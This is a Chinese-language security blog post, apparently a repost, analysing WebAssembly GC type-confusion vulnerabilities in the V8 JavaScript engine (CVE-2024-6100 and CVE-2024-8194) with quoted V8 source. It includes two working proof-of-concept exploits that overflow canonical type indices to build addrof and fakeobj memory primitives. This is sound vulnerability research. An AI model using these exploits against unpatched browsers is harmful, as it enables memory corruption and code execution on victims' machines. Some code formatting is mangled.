JavaScript 引擎利用中的 WebAssembly 类型混淆概述

admin 2025年3月13日10:47:34评论16 views字数 10190阅读33分58秒阅读模式
JavaScript 引擎利用中的 WebAssembly 类型混淆概述

介绍

WebAssembly 是一种相对低级的语言和虚拟机,比 JavaScript 等高级语言更接近真实的 CPU。最初,WASM 支持基本类型:

类型 描述

i32 32 位整数

i64 64 位整数

f32 32 位浮点

f64 64 位浮点

但是,通过 WebAssembly 垃圾收集(WASMGC)扩展,WebAssembly 现在可以支持更复杂的类型。

简而言之,垃圾收集的想法是试图回收由程序分配但不再引用的内存。

WasmGC 现在添加了结构和数组堆类型,这意味着支持非线性内存分配。每个 WasmGC 对象都有固定的类型和结构,这使得虚拟机可以轻松生成高效的代码来访问其字段,而不会像 JavaScript 等动态语言那样存在优化下降的风险。

引用类型

(type $s1 (struct)) ;; index = 0

考虑类型,s1该类型(ref null $s1)是的引用类型s1或null。

结构体类型

(type $s2 (struct (field i32) (field i64))) ;; index = 1

数组类型

(type$a1 (array i32)) ;; index = 2

递归类型

Wasm 的递归类型可以定义相互递归的类型。

(rec  (type$A (struct (field $b (ref null $B))))  (type$B (struct (field $a (ref null $A)))))(type$C (struct field $f i32) (field $c (ref null $C)))

外部类型

外部类型可以引用在宿主环境中定义的类型,例如 JavaScript。

案例研究

CVE-2024-2887

https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2024-2887

CVE-2024-6100

同递归类型

解决递归类型方程的类型构造函数可以表示为:

JavaScript 引擎利用中的 WebAssembly 类型混淆概述

从左到右的替换我们称之为展开,从右到左的替换我们称之为折叠。同递归类型的值必须使用项级运算符进行引入和消除。也就是说,折叠时需要类型标注来确定值的类型,以保证唯一性。

WasmGC 支持不同模块中递归组的类型之间的类型比较。

当它解码类型部分时

voidDecodeTypeSection(){// ...for (uint32_t i = 0; ok() && i < types_count; ++i) {    TRACE("DecodeType[%d] module+%dn", i, static_cast<int>(pc_ - start_));uint8_t kind = read_u8<Decoder::FullValidationTag>(pc(), "type kind");size_t initial_size = module_->types.size();if (kind == kWasmRecursiveTypeGroupCode) {      module_->is_wasm_gc = true;uint32_t rec_group_offset = pc_offset();      consume_bytes(1"rec. group definition", tracer_);if (tracer_) tracer_->NextLine();uint32_t group_size =          consume_count("recursive group size", kV8MaxWasmTypes);if (tracer_) tracer_->RecGroupOffset(rec_group_offset, group_size);if (initial_size + group_size > kV8MaxWasmTypes) {        errorf(pc(), "Type definition count exceeds maximum %zu",               kV8MaxWasmTypes);return;      }// We need to resize types before decoding the type definitions in this// group, so that the correct type size is visible to type definitions.      module_->types.resize(initial_size + group_size);      module_->isorecursive_canonical_type_ids.resize(initial_size +                                                      group_size);for (uint32_t j = 0; j < group_size; j++) {if (tracer_) tracer_->TypeOffset(pc_offset());        TypeDefinition type = consume_subtype_definition(initial_size + j);        module_->types[initial_size + j] = type;      }if (failed()) return;      type_canon->AddRecursiveGroup(module_.get(), group_size);    }// ...  }// ...}

在AddRecursiveGroup方法中

uint32_t first_canonical_index =static_cast<uint32_t>(canonical_supertypes_.size());  canonical_supertypes_.resize(first_canonical_index + size);// [!] take some time to consider what's wrong herefor (uint32_t i = 0; i < size; i++) {    CanonicalType& canonical_type = group.types[i];// Compute the canonical index of the supertype: If it is relative, we// need to add {first_canonical_index}.    canonical_supertypes_[first_canonical_index + i] =        canonical_type.is_relative_supertype            ? canonical_type.type_def.supertype + first_canonical_index            : canonical_type.type_def.supertype;module->isorecursive_canonical_type_ids[start_index + i] =        first_canonical_index + i;  }
这意味着对于类型i,规范类型索引为module->isorecursive_canonical_type_ids[i]并canonical_supertypes_维护子类型的关系。
回想一下 CVE-2024-2887 的记录,类型索引的最大限制为。但上面的代码没有检查和'kV8MaxWasmTypes = 1000000'的边界。'canonical_supertypes_' 'isorecursive_canonical_type_ids'
classValueType {public://...staticconstexprint kLastUsedBit = 25;staticconstexprint kKindBits = 5;staticconstexprint kHeapTypeBits = 20;staticconstintptr_t kBitFieldOffset;// ...}

ValueType考虑一下我们只有 20 位的定义kHeapTypeBits,是的,这对于堆类型来说已经足够了,但对于规范类型索引来说还不够,因为没有边界检查。因此,我们可以采取一些类型混淆策略:

  • i如果我们有一个具有规范类型索引的类型(n << 20) + t,它将与具有规范类型索引的类型混淆t。

  • 我们可以在内部保留堆类型和规范类型索引之间造成类型混淆。

在JSToWasmObject()

namespace wasm {MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,                                   CanonicalValueType expected,constchar** error_message) {// ...switch (expected.heap_representation_non_shared()) {case HeapType::kExtern: // ...  }// ...}}
并将heap_representation_non_shared()调用heap_representation()定义为

constexpr HeapType::Representation heap_representation()const{    DCHECK(is_object_reference());returnstatic_cast<HeapType::Representation>(        HeapTypeField::decode(bit_field_));  }

堆类型转换仅采用堆类型的位字段。这意味着我们可以弄乱规范类型索引和内部保留的堆类型。

概念验证

以下是概念证明:

/*class TypeCanonicalizer { public:  static constexpr CanonicalTypeIndex kPredefinedArrayI8Index{0};  static constexpr CanonicalTypeIndex kPredefinedArrayI16Index{1};  static constexpr uint32_t kNumberOfPredefinedTypes = 2;}*/d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js');const kV8MaxWasmTypes = 1000000;// recursive group// add kV8MaxWasmTypes typeslet builder = new WasmModuleBuilder();builder.startRecGroup();for (let i = 0; i < kV8MaxWasmTypes; i++) {    builder.addStruct([makeField(kWasmI32, true)]);}builder.endRecGroup();let wasm = builder.instantiate();builder = new WasmModuleBuilder();builder.startRecGroup();builder.addStruct([makeField(kWasmI32, true)]);builder.addStruct([makeField(kWasmI32, true)]);builder.addStruct([makeField(kWasmI32, true)]);// kV8MaxWasmTypes + 5let pwn_struct = builder.addStruct([    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),    makeField(kWasmI32, true),]);let get_object = builder.addType(makeSig([wasmRefType(pwn_struct)], [kWasmI32]));let set_object = builder.addType(makeSig([wasmRefType(pwn_struct), kWasmI32], []));// LEB encode // https://webassembly.github.io/spec/core/binary/values.htmlbuilder.addFunction('set_object', set_object).addBody([    kExprLocalGet, 0,    kExprLocalGet, 1,    kGCPrefix, kExprStructSet, ...wasmSignedLeb(pwn_struct), 6,// struct.set struct_index, struct, field_index, value]).exportFunc();builder.addFunction('get_object', get_object).addBody([    kExprLocalGet, 0,    kGCPrefix, kExprStructGet, ...wasmSignedLeb(pwn_struct), 6,]).exportFunc();builder.endRecGroup();const instance = builder.instantiate();let arr1 = [1.11.21.31.4];let arr2 = [{}, 1.11.21.3];functionaddrof(obj{    arr2[0] = obj;return instance.exports.get_object(arr2);}functionfakeobj(addr{    instance.exports.set_object(arr2, addr);return arr2[0];}functionhex(num{return num.toString(16);}let addrof_arr1 = addrof(arr1);let __arr1 = fakeobj(addrof_arr1);console.log(hex(addrof_arr1));console.log(__arr1);%DebugPrint(arr1);

CVE-2024-8194

Google 通过添加以下补丁修复了 CVE-2024-6100:

void TypeCanonicalizer::CheckMaxCanonicalIndex() const {if (canonical_supertypes_.size() > kMaxCanonicalTypes) {    V8::FatalProcessOutOfMemory(nullptr"too many canonicalized types");  }}

添加递归组时,它将检查规范类型索引。但是

staticconstexprsize_t kMaxCanonicalTypes = kSmiMaxValue;

kMaxCanonicalTypes太大,无法容纳在 20 位中。因此,我们仍然可以溢出规范类型索引,从而造成类型混淆。

当它添加新的递归组时

for (uint32_t i = 0; i < size; i++) {    group.types[i] = CanonicalizeTypeDef(modulemodule->types[start_index + i],                                         start_index);  }
方法CanonicalizeTypeDef将结构中的类型索引转换为规范类型索引。
case TypeDefinition::kStruct: {const StructType* original_type = type.struct_type;      StructType::Builder builder(&zone_, original_type->field_count());for (uint32_t i = 0; i < original_type->field_count(); i++) {        builder.AddField(CanonicalizeValueType(module, original_type->field(i),                                               recursive_group_start),                         original_type->mutability(i),                         original_type->field_offset(i));      }      builder.set_total_fields_size(original_type->total_fields_size());      result = TypeDefinition(          builder.Build(StructType::Builder::kUseProvidedOffsets),          canonical_supertype, type.is_final, type.is_shared);break;    }

ValueType TypeCanonicalizer::CanonicalizeValueType(const WasmModule* module, ValueType type,    uint32_t recursive_group_start) const {if (!type.has_index()) returntype;returntype.ref_index() >= recursive_group_start             ? ValueType::CanonicalWithRelativeIndex(type.kind(), type.ref_index() - recursive_group_start)             : ValueType::FromIndex(type.kind(),module->isorecursive_canonical_type_ids[type.ref_index()]);}  static constexpr ValueType CanonicalWithRelativeIndex(ValueKind kind,                                                        uint32_t index) {return ValueType(KindField::encode(kind) | HeapTypeField::encode(index) |                     CanonicalRelativeField::encode(true));  }

何时type.ref_index() >= recursive_group_start它将用相对索引来规范化。

我们可以通过以下方式控制这个相对指数

builder.addStruct([makeField(wasmRefType(n), true)]);

何时n >= recursive_group_start。这使得我们能够制造具有索引0x1000000 | n和的类型之间的类型混淆n。

概念验证

d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js');const kV8MaxWasmTypes = 1000000;// we can't fit all 0x100001 types in one recursive group{console.log("[*] create 1000000 types");let builder = new WasmModuleBuilder();    builder.startRecGroup();for (let i = 0; i < kV8MaxWasmTypes - 3; i++) {        builder.addStruct([makeField(kWasmI32, true)]);    }    builder.endRecGroup();    builder.instantiate();}{console.log("[*] create 0x100001 types");let builder = new WasmModuleBuilder();    builder.startRecGroup();for (let i = 0; i < 0x100001 - 1000000; i++) {        builder.addStruct([makeField(kWasmI32, true)]);    }    builder.endRecGroup();    builder.instantiate();}builder = new WasmModuleBuilder();let canonicalized_100001 = builder.addStruct([makeField(kWasmI32, true)]); // canonical index 0x100001, index 0 in rec group// groupbuilder.startRecGroup();let ref2index2 = builder.addStruct([makeField(wasmRefType(2), true)]); // heaptype index = 2 - 1 = 1, { field0(ref{externref}): 1(0x100001) }let index2 = builder.addStruct([makeField(kWasmExternRef, true)]); // index 2 in rec groupbuilder.endRecGroup();// groupbuilder.startRecGroup();let ref2canonicalized = builder.addStruct([makeField(wasmRefType(canonicalized_100001), true)]); // heaptype 0x100001, { field0: rec0_type0x100001 }let ext = builder.addStruct([makeField(kWasmExternRef, true)]);builder.endRecGroup();let fakeobj_type = builder.addType(makeSig([kWasmI32], [kWasmExternRef]));builder.addFunction('fakeobj', fakeobj_type).addBody([    kExprLocalGet, 0// get arg0    kGCPrefix, kExprStructNew, canonicalized_100001, // create struct with type 0x100001, { field0(int32): arg0 }    kGCPrefix, kExprStructNew, ref2canonicalized, // create struct with type 0 in group1, { field0(ref): { field0(int32): arg0 } }    kGCPrefix, kExprStructGet, ref2index2, 0// type confusion, get { field0(int32): arg0 } as { field0(ref{externref}): arg0 }    kGCPrefix, kExprStructGet, ext, 0// get arg0 as externref]).exportFunc();let instance = builder.instantiate();let fakeobj = instance.exports.fakeobj;console.log(fakeobj(0xc0ffee | 1));

参考

  • Seunghyun Lee (@0x10n):WebAssembly 就是你所需要的一切:使用 WASM 10 次以上利用 Chrome 和 V8 沙盒

  • Yaoda Zhou、Bruno C. d. S. Oliveira、Jinxu Zhao:重新审视 Iso-Recursive 子类型

  • ANDREAS ROSSBERG:相互同递归子类型(扩展)

原文始发于微信公众号(Ots安全):JavaScript 引擎利用中的 WebAssembly 类型混淆概述

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月13日10:47:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaScript 引擎利用中的 WebAssembly 类型混淆概述https://cn-sec.com/archives/3827254.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息